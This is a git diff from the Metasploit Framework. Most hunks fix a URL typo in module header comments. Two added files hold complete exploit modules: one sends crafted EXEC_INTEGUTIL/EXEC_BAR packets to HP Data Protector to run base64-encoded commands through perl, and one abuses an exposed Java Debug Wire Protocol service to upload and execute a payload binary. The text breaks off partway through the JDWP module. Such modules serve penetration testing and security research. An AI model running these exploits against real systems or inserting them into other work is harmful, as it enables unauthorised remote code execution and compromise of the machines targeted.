100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 58859f1dec..702b3fbadc 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 2c1e22563d..d78c68eebc 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb new file mode 100644 index 0000000000..6b1141fcc2 --- /dev/null +++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb @@ -0,0 +1,354 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution', + 'Description' => %q{ + This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists + in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL + request allows to execute arbitrary commands from a restricted directory. Since it + includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute + arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but + an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP + Data Protector for linux. This module has been tested successfully on HP Data Protector + 9 over Windows 2008 R2 64 bits and CentOS 6 64 bits. + }, + 'Author' => + [ + 'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'ZDI', '14-344'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'DefaultOptions' => + { + # The powershell embedded payload takes some time to deploy + 'WfsDelay' => 20 + }, + 'Targets' => + [ + [ 'Linux 64 bits / HP Data Protector 9', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'perl gawk bash-tcp openssl python generic' + } + } + } + ], + [ 'Windows 64 bits / HP Data Protector 9', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'powershell' + } + } + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => 'Oct 2 2014' + )) + + register_options( + [ + Opt::RPORT(5555) + ], self.class) + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + return Exploit::CheckCode::Unknown + end + + if fingerprint =~ /Data Protector A\.(\d+\.\d+)/ + version = $1 + vprint_status("#{peer} - Windows / HP Data Protector version #{version} found") + elsif fingerprint =~ / INET/ + vprint_status("#{peer} - Linux / HP Data Protector found") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + + if Gem::Version.new(version) <= Gem::Version.new('9') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Detected # there is no patch at the time of module writing + end + + def exploit + rand_exec = rand_text_alpha(8) + print_status("#{peer} - Leaking the HP Data Protector directory...") + leak = leak_hp_directory(rand_exec) + dir = parse_dir(leak, rand_exec) + + if dir.nil? + dir = default_hp_dir + print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}") + else + unless valid_target?(dir) + print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...") + end + end + + if target.name =~ /Windows/ + #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) + print_status("#{peer} - Executing payload...") + execute_windows(payload.encoded, dir) + else + print_status("#{peer} - Executing payload...") + execute_linux(payload.encoded, dir) + end + end + + def peer + "#{rhost}:#{rport}" + end + + def build_pkt(fields) + data = "\xff\xfe" # BOM Unicode + fields.each do |v| + data << "#{Rex::Text.to_unicode(v)}\x00\x00" + data << Rex::Text.to_unicode(" ") # Separator + end + + data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator + return [data.length].pack("N") + data + end + + def get_fingerprint + fingerprint = get_fingerprint_windows + if fingerprint.nil? + fingerprint = get_fingerprint_linux + end + + fingerprint + end + + def get_fingerprint_linux + connect + + sock.put([2].pack("N") + "\xff\xfe") + begin + res = sock.get_once(4) + rescue EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + res + end + + def get_fingerprint_windows + connect + + sock.put(rand_text_alpha_upper(64)) + begin + res = sock.get_once(4) + rescue ::Errno::ECONNRESET, EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null + end + + def leak_hp_directory(rand_exec) + connect + pkt = build_pkt([ + "2", # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "28", # Opcode EXEC_INTEGUTIL + rand_exec, + ]) + + sock.put(pkt) + begin + res = sock.get_once(4) + rescue EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + if res =~ /No such file or directory/ # Linux signature + return res + else # deal as windows target + return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null + end + end + + def parse_dir(data, clue) + if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/ + dir = $1 + print_good("#{peer} - HP Data Protector directory found on #{dir}") + elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/ + dir = $1 + print_good("#{peer} - HP Data Protector directory found on #{dir}") + else + dir = nil + end + + dir + end + + def valid_target?(dir) + if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/ + return true + elsif target.name =~ /Linux/ && dir.start_with?('/') + return true + end + + false + end + + def default_hp_dir + if target.name =~ /Windows/ + dir = 'C:\\Program Files\\OmniBack\\' + else # linux + dir = '/opt/omni/lbin/' + end + + dir + end + + def execute_windows(cmd, hp_dir) + connect + pkt = build_pkt([ + "2", # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "28", # Opcode EXEC_INTEGUTIL + "perl.exe", + "-I#{hp_dir}lib\\perl", + "-MMIME::Base64", + "-e", + "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" + ]) + sock.put(pkt) + disconnect + end + + def execute_linux(cmd, hp_dir) + connect + pkt = build_pkt([ + '2', # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + '11', # Opcode EXEC_BAR + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "../bin/perl", + rand_text_alpha(8), + "-I#{hp_dir}lib/perl", + '-MMIME::Base64', + '-e', + "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" + ]) + sock.put(pkt) + disconnect + end +end diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 1dd4303c2e..08545a601c 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 48f334d1dc..ecb6560c47 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb new file mode 100644 index 0000000000..0f07258835 --- /dev/null +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -0,0 +1,960 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + HANDSHAKE = "JDWP-Handshake" + + REQUEST_PACKET_TYPE = 0x00 + REPLY_PACKET_TYPE = 0x80 + + # Command signatures + VERSION_SIG = [1, 1] + CLASSESBYSIGNATURE_SIG = [1, 2] + ALLCLASSES_SIG = [1, 3] + ALLTHREADS_SIG = [1, 4] + IDSIZES_SIG = [1, 7] + CREATESTRING_SIG = [1, 11] + SUSPENDVM_SIG = [1, 8] + RESUMEVM_SIG = [1, 9] + SIGNATURE_SIG = [2, 1] + FIELDS_SIG = [2, 4] + METHODS_SIG = [2, 5] + GETVALUES_SIG = [2, 6] + CLASSOBJECT_SIG = [2, 11] + SETSTATICVALUES_SIG = [3, 2] + INVOKESTATICMETHOD_SIG = [3, 3] + CREATENEWINSTANCE_SIG = [3, 4] + REFERENCETYPE_SIG = [9, 1] + INVOKEMETHOD_SIG = [9, 6] + STRINGVALUE_SIG = [10, 1] + THREADNAME_SIG = [11, 1] + THREADSUSPEND_SIG = [11, 2] + THREADRESUME_SIG = [11, 3] + THREADSTATUS_SIG = [11, 4] + EVENTSET_SIG = [15, 1] + EVENTCLEAR_SIG = [15, 2] + EVENTCLEARALL_SIG = [15, 3] + + # Other codes + MODKIND_COUNT = 1 + MODKIND_THREADONLY = 2 + MODKIND_CLASSMATCH = 5 + MODKIND_LOCATIONONLY = 7 + MODKIND_STEP = 10 + EVENT_BREAKPOINT = 2 + EVENT_STEP = 1 + SUSPEND_EVENTTHREAD = 1 + SUSPEND_ALL = 2 + NOT_IMPLEMENTED = 99 + VM_DEAD = 112 + INVOKE_SINGLE_THREADED = 2 + TAG_OBJECT = 76 + TAG_STRING = 115 + TYPE_CLASS = 1 + TAG_ARRAY = 91 + TAG_VOID = 86 + TAG_THREAD = 116 + STEP_INTO = 0 + STEP_MIN = 0 + THREAD_SLEEPING_STATUS = 2 + + def initialize + super( + 'Name' => 'Java Debug Wire Protocol Remote Code Execution', + 'Description' => %q{ + This module abuses exposed Java Debug Wire Protocol services in order + to execute arbitrary Java code remotely. It just abuses the protocol + features, since no authentication is required if the service is enabled. + }, + 'Author' => [ + 'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help + 'Christophe Alladoum', # JDWP Analysis and Exploit + 'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module + ], + 'References' => + [ + ['OSVDB', '96066'], + ['EDB', '27179'], + ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], + ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'], + ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], + ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], + ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'BadChars' => '', + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux' + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Mar 12 2010' + ) + + register_options( + [ + Opt::RPORT(8000), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), + OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), + ], self.class) + end + + def check + connect + res = handshake + disconnect + + if res.nil? + return Exploit::CheckCode::Unknown + elsif res == HANDSHAKE + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + + def peer + "#{rhost}:#{rport}" + end + + def default_timeout + datastore['RESPONSE_TIMEOUT'] + end + + # Establishes handshake with the server + def handshake + sock.put(HANDSHAKE) + return sock.get_once(-1, datastore['RESPONSE_TIMEOUT']) + end + + # Forges packet for JDWP protocol + def create_packet(cmdsig, data="") + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = data.length + 11 + buf = [pktlen, @my_id, flags, cmdset, cmd] + pkt = buf.pack("NNCCC") + pkt << data + @my_id += 2 + pkt + end + + # Reads packet response for JDWP protocol + def read_reply(timeout = default_timeout) + response = sock.get_once(-1, timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response + pktlen, id, flags, errcode = response.unpack('NNCn') + response.slice!(0..10) + if errcode != 0 && flags == REPLY_PACKET_TYPE + fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}") + end + response + end + + # Returns the characters contained in the string defined in target VM + def solve_string(data) + sock.put(create_packet(STRINGVALUE_SIG, data)) + response = read_reply + return "" unless response + return read_string(response) + end + + # Unpacks received string structure from the server response into a normal string + def read_string(data) + data_len = data.unpack('N')[0] + data.slice!(0..3) + return data.slice!(0,data_len) + end + + # Creates a new string object in the target VM and returns its id + def create_string(data) + buf = build_string(data) + sock.put(create_packet(CREATESTRING_SIG, buf)) + buf = read_reply + return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) + end + + # Packs normal string into string structure for target VM + def build_string(data) + ret = [data.length].pack('N') + ret << data + + ret + end + + # Pack Fixnum for JDWP protocol + def format(fmt, value) + if fmt == "L" || fmt == 8 + return [value].pack('Q>') + elsif fmt == "I" || fmt == 4 + return [value].pack('N') + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Unpack Fixnum from JDWP protocol + def unformat(fmt, value) + if fmt == "L" || fmt == 8 + return value[0..7].unpack('Q>')[0] + elsif fmt == "I" || fmt == 4 + return value[0..3].unpack('N')[0] + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Parses given data according to a set of formats + def parse_entries(buf, formats, explicit=true) + entries = [] + + if explicit + nb_entries = buf.unpack('N')[0] + buf.slice!(0..3) + else + nb_entries = 1 + end + + nb_entries.times do |var| + + if var != 0 && var % 1000 == 0 + vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}") + end + + data = {} + + formats.each do |fmt,name| + if fmt == "L" || fmt == 8 + data[name] = buf.unpack('Q>')[0] + buf.slice!(0..7) + elsif fmt == "I" || fmt == 4 + data[name] = buf.unpack('N')[0] + buf.slice!(0..3) + elsif fmt == "S" + data_len = buf.unpack('N')[0] + buf.slice!(0..3) + data[name] = buf.slice!(0,data_len) + elsif fmt == "C" + data[name] = buf.unpack('C')[0] + buf.slice!(0) + elsif fmt == "Z" + t = buf.unpack('C')[0] + buf.slice!(0) + if t == 115 + data[name] = solve_string(buf.slice!(0..7)) + elsif t == 73 + data[name], buf = buf.unpack('NN') + end + else + fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") + end + + end + entries.append(data) + end + + entries + end + + # Gets the sizes of variably-sized data types in the target VM + def get_sizes + formats = [ + ["I", "fieldid_size"], + ["I", "methodid_size"], + ["I", "objectid_size"], + ["I", "referencetypeid_size"], + ["I", "frameid_size"] + ] + sock.put(create_packet(IDSIZES_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + # Gets the JDWP version implemented by the target VM + def get_version + formats = [ + ["S", "descr"], + ["I", "jdwp_major"], + ["I", "jdwp_minor"], + ["S", "vm_version"], + ["S", "vm_name"] + ] + sock.put(create_packet(VERSION_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + def version + "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + end + + def is_java_eight + version.downcase =~ /1[.]8[.]/ + end + + # Returns reference for all threads currently running on target VM + def get_all_threads + sock.put(create_packet(ALLTHREADS_SIG)) + response = read_reply + num_threads = response.unpack('N').first + response.slice!(0..3) + + size = @vars["objectid_size"] + num_threads.times do + t_id = unformat(size, response[0..size-1]) + @threads[t_id] = nil + response.slice!(0..size-1) + end + end + + # Returns reference types for all classes currently loaded by the target VM + def get_all_classes + return unless @classes.empty? + + formats = [ + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] + ] + sock.put(create_packet(ALLCLASSES_SIG)) + response = read_reply + @classes.append(parse_entries(response, formats)) + end + + # Checks if specified class is currently loaded by the target VM and returns it + def get_class_by_name(name) + @classes.each do |entry_array| + entry_array.each do |entry| + if entry["signature"].downcase == name.downcase + return entry + end + end + end + + nil + end + + # Returns information for each method in a reference type (ie. object). Inherited methods are not included. + # The list of methods will include constructors (identified with the name "<init>") + def get_methods(reftype_id) + if @methods.has_key?(reftype_id) + return @methods[reftype_id] + end + + formats = [ + [@vars["methodid_size"], "method_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(METHODS_SIG, ref_id)) + response = read_reply + @methods[reftype_id] = parse_entries(response, formats) + end + + # Returns information for each field in a reference type (ie. object) + def get_fields(reftype_id) + formats = [ + [@vars["fieldid_size"], "field_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(FIELDS_SIG, ref_id)) + response = read_reply + fields = parse_entries(response, formats) + + fields + end + + # Returns the value of one static field of the reference type. The field must be member of the reference type + # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; + # for example, the values of private fields can be obtained. + def get_value(reftype_id, field_id) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + + sock.put(create_packet(GETVALUES_SIG, data)) + response = read_reply + num_values = response.unpack('N')[0] + + unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) + fail_with(Failure::Unknown, "Bad response when getting value for field") + end + + response.slice!(0..4) + + len = @vars["objectid_size"] + value = unformat(len, response) + + value + end + + # Sets the value of one static field. Each field must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of + # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match + # the field's type exactly. For object values, there must exist a widening reference conversion from the + # value's type to the field's type and the field's type must be loaded. + def set_value(reftype_id, field_id, value) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + data << format(@vars["objectid_size"],value) + + sock.put(create_packet(SETSTATICVALUES_SIG, data)) + read_reply + end + + + # Checks if specified method is currently loaded by the target VM and returns it + def get_method_by_name(classname, name, signature = nil) + @methods[classname].each do |entry| + if signature.nil? + return entry if entry["name"].downcase == name.downcase + else + if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase + return entry + end + end + end + + nil + end + + # Checks if specified class and method are currently loaded by the target VM and returns them + def get_class_and_method(looked_class, looked_method, signature = nil) + target_class = get_class_by_name(looked_class) + unless target_class + fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") + end + + get_methods(target_class["reftype_id"]) + target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) + unless target_method + fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") + end + + return target_class, target_method + end + + # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") + def str_to_fq_class(s) + i = s.rindex(".") + unless i + fail_with(Failure::BadConfig, 'Bad defined break class') + end + + method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string + + classname = 'L' + classname << s[0..i-1].gsub(/[.]/, '/') + classname << ';' + + return classname, method + end + + # Gets the status of a given thread + def thread_status(thread_id) + sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) + buf = read_reply(datastore['BREAK_TIMEOUT']) + unless buf + fail_with(Exploit::Failure::Unknown, "No network response") + end + status, suspend_status = buf.unpack('NN') + + status + end + + # Resumes execution of the application or thread after the suspend command or an event has stopped it + def resume_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(RESUMEVM_SIG)) + else + sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply(datastore['BREAK_TIMEOUT']) + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Suspend execution of the application or thread + def suspend_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(SUSPENDVM_SIG)) + else + sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Sets an event request. When the event described by this request occurs, an event is sent from the target VM + def send_event(event_code, args) + data = [event_code].pack('C') + data << [SUSPEND_ALL].pack('C') + data << [args.length].pack('N') + + args.each do |kind,option| + data << [kind].pack('C') + data << option + end + + sock.put(create_packet(EVENTSET_SIG, data)) + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "#{peer} - No network response") + end + return response.unpack('N')[0] + end + + # Parses a received event and compares it with the expected + def parse_event(buf, event_id, thread_id) + len = @vars["objectid_size"] + return false if buf.length < 10 + len - 1 + + r_id = buf[6..9].unpack('N')[0] + t_id = unformat(len,buf[10..10+len-1]) + + return (event_id == r_id) && (thread_id == t_id) + end + + # Clear a defined event request + def clear_event(event_code, r_id) + data = [event_code].pack('C') + data << [r_id].pack('N') + sock.put(create_packet(EVENTCLEAR_SIG, data)) + read_reply + end + + # Invokes a static method. The method must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private + # methods can be invoked. + def invoke_static(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Invokes a instance method. The method must be member of the object's type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods + # can be invoked. + def invoke(obj_id, thread_id, class_id, meth_id, args = []) + data = format(@vars["objectid_size"], obj_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["referencetypeid_size"], class_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKEMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Creates a new object of specified class, invoking the specified constructor. The constructor + # method ID must be a member of the class type. + def create_instance(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) + buf = read_reply + buf + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + # Configures payload according to targeted architecture + def setup_payload + # 1. Setting up generic values. + payload_exe = rand_text_alphanumeric(4 + rand(4)) + pl_exe = generate_payload_exe + + # 2. Setting up arch specific... + case target['Platform'] + when 'linux' + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + if @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Linux target...") + end + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + unless @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Windows target...") + end + end + + return payload_exe, pl_exe + end + + # Invokes java.lang.System.getProperty() for OS fingerprinting purposes + def fingerprint_os(thread_id) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the property to be getted + cmd_obj_ids = create_string("os.name") + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets property + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') + + str = unformat(size, buf[1..1+size-1]) + @os = solve_string(format(@vars["objectid_size"],str)) + end + + # Creates a file on the server given a execution thread + def create_file(thread_id, filename) + cmd_obj_ids = create_string(filename) + fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + + file = unformat(size, buf[1..1+size-1]) + fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) + + register_files_for_cleanup(filename) + + file + end + + # Stores the payload on a new string created in target VM + def upload_payload(thread_id, pl_exe) + size = @vars["objectid_size"] + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + end + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + decoder = unformat(size, buf[1..1+size-1]) + if decoder.nil? || decoder == 0 + fail_with(Failure::Unknown, "Failed to create Base64 decoder object") + end + + cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B") + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") + end + buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") + end + + pl = unformat(size, buf[1..1+size-1]) + pl + end + + # Dumps the payload on a opened server file given a execution thread + def dump_payload(thread_id, file, pl) + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, pl) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while writing to file") + end + end + + # Closes a file on the server given a execution thread + def close_file(thread_id, file) + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while closing file") + end + end + + # Executes a system command on target VM making use of java.lang.Runtime.exec() + def execute_command(thread_id, cmd) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the command to be 